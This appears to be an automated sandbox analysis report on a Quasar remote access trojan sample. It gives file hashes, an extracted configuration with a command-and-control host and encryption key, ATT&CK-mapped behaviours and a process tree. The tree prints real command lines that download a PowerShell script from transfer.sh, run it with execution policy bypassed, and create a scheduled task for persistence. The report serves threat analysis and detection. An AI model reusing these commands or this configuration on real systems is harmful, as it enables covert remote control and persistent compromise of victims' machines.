quasar | 3459ebc48502fb42337647d456681337d303e50a99ca536e010d7cf1ebf6f0f5

Analysis

max time kernel
142s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20220901-en
resource tags

arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
submitted
17/01/2023, 12:09

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General

Target
3459ebc48502fb42337647d456681337d303e50a99ca536e010d7cf1ebf6f0f5.exe
Size 547KB
Sample230117-pbj87sbf41
SHA256 3459ebc48502fb42337647d456681337d303e50a99ca536e010d7cf1ebf6f0f5
MD5 b0ab211e83a23d58e1322e4d2d6f0a96
SHA1 d568fbcd41e30651cc80ba8a5e9eeab637a99f9e
SHA512 4a54251fbf23fe3d0e96fcf8d3363e917921644a178387b619367338faa1884134639dd696d55a5a9f06cf167f128d599cc57fb62dba603afc4ebb287d22204d
SSDEEP 3072:SvGyYiSDnt1G5GWp1icKAArDZz4N9GhbkrNEk184:W4wp0yN90QEg
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

quasar office04 persistence spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.4.0

Botnet

Office04

ghcc.duckdns.org:4782

Mutex

a9c03eb7-f3c1-4b9e-a4f7-1962d17a793b

Attributes

encryption_key
B0326395AC2D48856CAE22978A087DF5DCF5816D
install_name
Client.exe
log_directory
Logs
reconnect_delay
3000
startup_key
Update
subdirectory
SubDir

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 2 IoCs

resource	yara_rule
behavioral2/memory/1036-145-0x000000000047E74E-mapping.dmp	family_quasar
behavioral2/memory/1036-147-0x0000000000420000-0x00000000004A4000-memory.dmp	family_quasar

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	RegAsm.exe
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	WScript.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce	3459ebc48502fb42337647d456681337d303e50a99ca536e010d7cf1ebf6f0f5.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	3459ebc48502fb42337647d456681337d303e50a99ca536e010d7cf1ebf6f0f5.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
57	api.ipify.org
58	api.ipify.org

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2908 set thread context of 1036	2908	powershell.exe	100

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
4808	schtasks.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings	cmd.exe

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
4664	PING.EXE
2000	PING.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2908	powershell.exe
2908	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2908	powershell.exe
Token: SeDebugPrivilege	1036	RegAsm.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1036	RegAsm.exe

Suspicious use of WriteProcessMemory 48 IoCs

description	pid	Process	procid_target
PID 4252 wrote to memory of 5072	4252	3459ebc48502fb42337647d456681337d303e50a99ca536e010d7cf1ebf6f0f5.exe	81
PID 4252 wrote to memory of 5072	4252	3459ebc48502fb42337647d456681337d303e50a99ca536e010d7cf1ebf6f0f5.exe	81
PID 5072 wrote to memory of 1876	5072	cmd.exe	83
PID 5072 wrote to memory of 1876	5072	cmd.exe	83
PID 1876 wrote to memory of 1276	1876	WScript.exe	84
PID 1876 wrote to memory of 1276	1876	WScript.exe	84
PID 1276 wrote to memory of 2316	1276	cmd.exe	86
PID 1276 wrote to memory of 2316	1276	cmd.exe	86
PID 2316 wrote to memory of 3212	2316	cmd.exe	87
PID 2316 wrote to memory of 3212	2316	cmd.exe	87
PID 1876 wrote to memory of 2520	1876	WScript.exe	96
PID 1876 wrote to memory of 2520	1876	WScript.exe	96
PID 2520 wrote to memory of 2984	2520	cmd.exe	98
PID 2520 wrote to memory of 2984	2520	cmd.exe	98
PID 2984 wrote to memory of 2908	2984	cmd.exe	99
PID 2984 wrote to memory of 2908	2984	cmd.exe	99
PID 2908 wrote to memory of 1036	2908	powershell.exe	100
PID 2908 wrote to memory of 1036	2908	powershell.exe	100
PID 2908 wrote to memory of 1036	2908	powershell.exe	100
PID 2908 wrote to memory of 1036	2908	powershell.exe	100
PID 2908 wrote to memory of 1036	2908	powershell.exe	100
PID 2908 wrote to memory of 1036	2908	powershell.exe	100
PID 2908 wrote to memory of 1036	2908	powershell.exe	100
PID 2908 wrote to memory of 1036	2908	powershell.exe	100
PID 1036 wrote to memory of 4808	1036	RegAsm.exe	101
PID 1036 wrote to memory of 4808	1036	RegAsm.exe	101
PID 1036 wrote to memory of 4808	1036	RegAsm.exe	101
PID 1036 wrote to memory of 1432	1036	RegAsm.exe	103
PID 1036 wrote to memory of 1432	1036	RegAsm.exe	103
PID 1036 wrote to memory of 1432	1036	RegAsm.exe	103
PID 1036 wrote to memory of 1468	1036	RegAsm.exe	105
PID 1036 wrote to memory of 1468	1036	RegAsm.exe	105
PID 1036 wrote to memory of 1468	1036	RegAsm.exe	105
PID 1036 wrote to memory of 2528	1036	RegAsm.exe	107
PID 1036 wrote to memory of 2528	1036	RegAsm.exe	107
PID 1036 wrote to memory of 2528	1036	RegAsm.exe	107
PID 1468 wrote to memory of 2548	1468	cmd.exe	108
PID 1468 wrote to memory of 2548	1468	cmd.exe	108
PID 1468 wrote to memory of 2548	1468	cmd.exe	108
PID 1468 wrote to memory of 4664	1468	cmd.exe	110
PID 1468 wrote to memory of 4664	1468	cmd.exe	110
PID 1468 wrote to memory of 4664	1468	cmd.exe	110
PID 2528 wrote to memory of 2216	2528	cmd.exe	111
PID 2528 wrote to memory of 2216	2528	cmd.exe	111
PID 2528 wrote to memory of 2216	2528	cmd.exe	111
PID 2528 wrote to memory of 2000	2528	cmd.exe	112
PID 2528 wrote to memory of 2000	2528	cmd.exe	112
PID 2528 wrote to memory of 2000	2528	cmd.exe	112

C:\Users\Admin\AppData\Local\Temp\3459ebc48502fb42337647d456681337d303e50a99ca536e010d7cf1ebf6f0f5.exe
"C:\Users\Admin\AppData\Local\Temp\3459ebc48502fb42337647d456681337d303e50a99ca536e010d7cf1ebf6f0f5.exe"
1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:4252
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c new.vbs
  2⤵
  - Checks computer location settings
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:5072
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\new.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:1876
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cmd.exe /c curl https://transfer.sh/get/MHXbtP/ss.ps1 --output C:\Users\Admin\AppData\Roaming\rr.ps1
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1276
    - - C:\Windows\system32\cmd.exe
        
        cmd.exe /c curl https://transfer.sh/get/MHXbtP/ss.ps1 --output C:\Users\Admin\AppData\Roaming\rr.ps1
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2316
      - C:\Windows\system32\curl.exe
        
        curl https://transfer.sh/get/MHXbtP/ss.ps1 --output C:\Users\Admin\AppData\Roaming\rr.ps1
        6⤵
        
        PID:3212
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cmd.exe /c powershell.exe -exec Bypass -C C:\Users\Admin\AppData\Roaming\rr.ps1
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2520
    - - C:\Windows\system32\cmd.exe
        
        cmd.exe /c powershell.exe -exec Bypass -C C:\Users\Admin\AppData\Roaming\rr.ps1
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2984
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -exec Bypass -C C:\Users\Admin\AppData\Roaming\rr.ps1
        6⤵
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2908
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        7⤵
        Checks computer location settings
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:1036
        
        C:\Windows\SysWOW64\schtasks.exe
        
        "schtasks" /create /tn "Update" /sc ONLOGON /tr "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" /rl HIGHEST /f
        8⤵
        Creates scheduled task(s)
        
        PID:4808
        
        C:\Windows\SysWOW64\schtasks.exe
        
        "schtasks" /delete /tn "Update" /f
        8⤵
        
        PID:1432
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\rCEkh1Y6WTMO.bat" "
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:1468
        
        C:\Windows\SysWOW64\chcp.com
        
        chcp 65001
        9⤵
        
        PID:2548
        
        C:\Windows\SysWOW64\PING.EXE
        
        ping -n 10 localhost
        9⤵
        Runs ping.exe
        
        PID:4664
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\kIlVXpK1D0ai.bat" "
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:2528
        
        C:\Windows\SysWOW64\chcp.com
        
        chcp 65001
        9⤵
        
        PID:2216
        
        C:\Windows\SysWOW64\PING.EXE
        
        ping -n 10 localhost
        9⤵
        Runs ping.exe
        
        PID:2000

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

new.vbs

Path C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\new.vbs
Size 300.0MB
SHA256 b7f331e83a80b15cc4537324bde827ac9b2ecb990150db4d00d84ee2560cf5be
MD5 f7e7099eea0cc25fc49d04cd53c573a1
SHA1 3abac9f3f93b0f87ef432d70c40e8ab865157770
SHA512 c19ddc5e41ed6d485f5df47996f34ff326a782e909bffaa8aa31a3f72fddb33cc7e3709e0cc44b2078668dc83297b42bb3157d6d000a9323ffca6303cd43f074
SSDEEP 12:O+h3awpefBNTkj5H6NPnqkc+h3awpeZ9nF6NPnJ:O+9xYZNTo5wqh+9xYZly
MD5 SHA1 SHA512 SSDEEP

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kIlVXpK1D0ai.bat

Path C:\Users\Admin\AppData\Local\Temp\kIlVXpK1D0ai.bat
Size 215B
SHA256 20fa791af80f5c045d6bfe8ab326c886d5d5ef80a0ee40e3cfc13cce64b8f52e
MD5 b6afb90a8a7c17da7d70ef458298f9e8
SHA1 b6b540cc5b831a0e97e1184384b6b2457714e4cb
SHA512 7505ddec046acf90b9f56dca707ac5a443d179382ff00c7c4721f3f2039f3c4dc714db0f511ad85ee31a8f1aa97ebe0e4409b7fdf1050d236b868bfbaabd86d1
MD5 SHA1 SHA512

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rCEkh1Y6WTMO.bat

Path C:\Users\Admin\AppData\Local\Temp\rCEkh1Y6WTMO.bat
Size 219B
SHA256 6a1e32966cdcef207ec3ccc69a9d783a0f012318a1324586df1efa39a44a5bcb
MD5 7f70ecb56188446e6d3751466716488a
SHA1 0ba7085341815042b9d7a068e6efc72e8639d4a9
SHA512 dc4e19d279ccf6722baa0abaea198532c1fb1e05c8a8c3f28f377b786f373e1213dd37cdbccec63a9841c300bcc57f5ebbb4f9baa86c56e1e32c11c3de3a6765
MD5 SHA1 SHA512

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rr.ps1

Path C:\Users\Admin\AppData\Roaming\rr.ps1
Size 5.1MB
SHA256 6c1e62385d660ca43e024d461154fbb4805e429cdf7850d19510d7f69533739e
MD5 970aca768e68faa580f758a1a379686b
SHA1 6a93921485cbd83382eb5a47315b1f0a67bcf684
SHA512 66dd4c5b17978e68c8e0cd2bc4fd35ba5d519447ff34259ec77d11e4253cbfc9955a43915ed3c343f41dc04d97f4302ab6922a823b0e0da44e8893d29ec7cf0f
SSDEEP 49152:CY1wOeTfeinwRg0Yd0YtWdR2++BqkPiblNmBZOqsHtL3rdyW6JKHINYMpnkq/3+s:E
MD5 SHA1 SHA512 SSDEEP

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memory/1036-152-0x00000000060B0000-0x00000000066C8000-memory.dmp

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memory/1036-155-0x0000000006E80000-0x0000000006EE6000-memory.dmp

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memory/1036-154-0x0000000005DE0000-0x0000000005E92000-memory.dmp

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memory/1036-153-0x0000000005B70000-0x0000000005BC0000-memory.dmp

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memory/1036-148-0x00000000050E0000-0x0000000005684000-memory.dmp

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memory/1036-150-0x0000000004AA0000-0x0000000004AAA000-memory.dmp

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memory/1036-149-0x0000000004B30000-0x0000000004BC2000-memory.dmp

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memory/1036-147-0x0000000000420000-0x00000000004A4000-memory.dmp

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memory/2908-141-0x00000257BE4D0000-0x00000257BE4F2000-memory.dmp

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memory/2908-142-0x00007FF8F8500000-0x00007FF8F8FC1000-memory.dmp

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memory/2908-146-0x00007FF8F8500000-0x00007FF8F8FC1000-memory.dmp

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